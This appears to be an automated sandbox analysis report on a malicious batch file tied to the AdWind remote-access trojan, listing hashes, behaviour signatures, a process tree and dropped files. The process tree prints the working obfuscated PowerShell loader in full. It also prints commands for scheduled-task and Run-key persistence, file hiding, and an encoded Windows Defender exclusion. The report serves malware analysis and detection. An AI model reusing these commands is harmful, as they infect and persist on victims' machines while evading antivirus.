Analysis

  • max time kernel
    18s
  • max time network
    22s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/10/2024, 17:47

General

  • Target

    muauah.bat

  • Size

    1.1MB

  • MD5

    94cc6e771b56847356601c55584f834f

  • SHA1

    2da874abb3a6992b86ec82ad6b6fc592f86079e6

  • SHA256

    59002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75

  • SHA512

    96157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0

  • SSDEEP

    24576:N2Ijc+wFpcVR471mHracm9vAW3nE0FIug7UdbD6w:NiomwGB9RxWhIt9

Malware Config

Signatures

  • AdWind

    A Java-based RAT family operated as malware-as-a-service.

  • Class file contains resources related to AdWind 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\muauah.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5044
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:3228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\muauah.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\muauah.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_66_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_66.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4700
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_66.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:3452
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_66.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4980
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4592
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:4272
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_66.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_66.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1748
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAYQBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAdQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbgBrACMAPgA="
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3068
                • C:\Program Files\Java\jre-1.8\bin\javaw.exe
                  "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar"
                  6⤵
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:3264
                  • C:\Windows\SYSTEM32\attrib.exe
                    attrib +H C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729446457402.tmp
                    7⤵
                    • Views/modifies file attributes
                    PID:3800
                  • C:\Windows\SYSTEM32\cmd.exe
                    cmd.exe /c "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729446457402.tmp" /f"
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3944
                    • C:\Windows\system32\reg.exe
                      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729446457402.tmp" /f
                      8⤵
                      • Adds Run key to start application
                      PID:2360

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        661739d384d9dfd807a089721202900b

        SHA1

        5b2c5d6a7122b4ce849dc98e79a7713038feac55

        SHA256

        70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

        SHA512

        81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        773440cd6eb4e778c7d2115d1f231f75

        SHA1

        4b600aa41fcd267817961c95b104a0717c40e558

        SHA256

        64c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c

        SHA512

        af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        f8d49a4af7a844bfc7247d5670def557

        SHA1

        26ae0ce194a77a7a1887cf93741293fdfa6c94c4

        SHA256

        61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

        SHA512

        9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

      • C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar

        Filesize

        639KB

        MD5

        225f0dcf98252d2fee4b06ad0273880b

        SHA1

        93c0fb717375656ac79b85a6c5d1d2d01f5bd3ce

        SHA256

        da64ce75fb68dfbdfada3a2b220156711c662b89fcbfedcc9ac9a84fe40a3d53

        SHA512

        7b74d43ab18550794004fc8dc0ae21e8e37487ec0b108a9053b77d40c1f027379da568efab54a91b1a889c33ddd20e0e154a6d47faa0f3fc573bc49d6da0e2c7

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pobr5fly.bnb.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\startup_str_66.bat

        Filesize

        1.1MB

        MD5

        94cc6e771b56847356601c55584f834f

        SHA1

        2da874abb3a6992b86ec82ad6b6fc592f86079e6

        SHA256

        59002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75

        SHA512

        96157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0

      • C:\Users\Admin\AppData\Roaming\startup_str_66.vbs

        Filesize

        114B

        MD5

        2d4f17a6a014e7a325aa27e6d1f553e4

        SHA1

        4e0aa220d1726e51db0766e223c4086884c65a09

        SHA256

        a19c1677bbc24aa264238b611fbb9d3c78c795443d1ff59d8f9cb2c3835e778a

        SHA512

        f744c924b126ca7c5ae684630a1613d91a4aa598fa8918986bb8a38d736504f011c1bf0791bd7e25be57b77c9ab7dba51eb18aaca577c144025d74ea5d3d3d52

      • memory/1748-49-0x0000028EFC030000-0x0000028EFC0D8000-memory.dmp

        Filesize

        672KB

      • memory/2232-13-0x000001A67F800000-0x000001A67F808000-memory.dmp

        Filesize

        32KB

      • memory/2232-69-0x00007FFC0C680000-0x00007FFC0D141000-memory.dmp

        Filesize

        10.8MB

      • memory/2232-10-0x000001A67F820000-0x000001A67F842000-memory.dmp

        Filesize

        136KB

      • memory/2232-11-0x00007FFC0C680000-0x00007FFC0D141000-memory.dmp

        Filesize

        10.8MB

      • memory/2232-12-0x00007FFC0C680000-0x00007FFC0D141000-memory.dmp

        Filesize

        10.8MB

      • memory/2232-14-0x000001A67FA50000-0x000001A67FB20000-memory.dmp

        Filesize

        832KB

      • memory/2232-0-0x00007FFC0C683000-0x00007FFC0C685000-memory.dmp

        Filesize

        8KB

      • memory/3264-79-0x000001AA698A0000-0x000001AA698A1000-memory.dmp

        Filesize

        4KB

      • memory/3264-95-0x000001AA698A0000-0x000001AA698A1000-memory.dmp

        Filesize

        4KB

      • memory/3264-100-0x000001AA698A0000-0x000001AA698A1000-memory.dmp

        Filesize

        4KB

      • memory/4700-23-0x00007FFC0C680000-0x00007FFC0D141000-memory.dmp

        Filesize

        10.8MB

      • memory/4700-26-0x00007FFC0C680000-0x00007FFC0D141000-memory.dmp

        Filesize

        10.8MB

      • memory/4700-30-0x00007FFC0C680000-0x00007FFC0D141000-memory.dmp

        Filesize

        10.8MB

      • memory/4700-27-0x00007FFC0C680000-0x00007FFC0D141000-memory.dmp

        Filesize

        10.8MB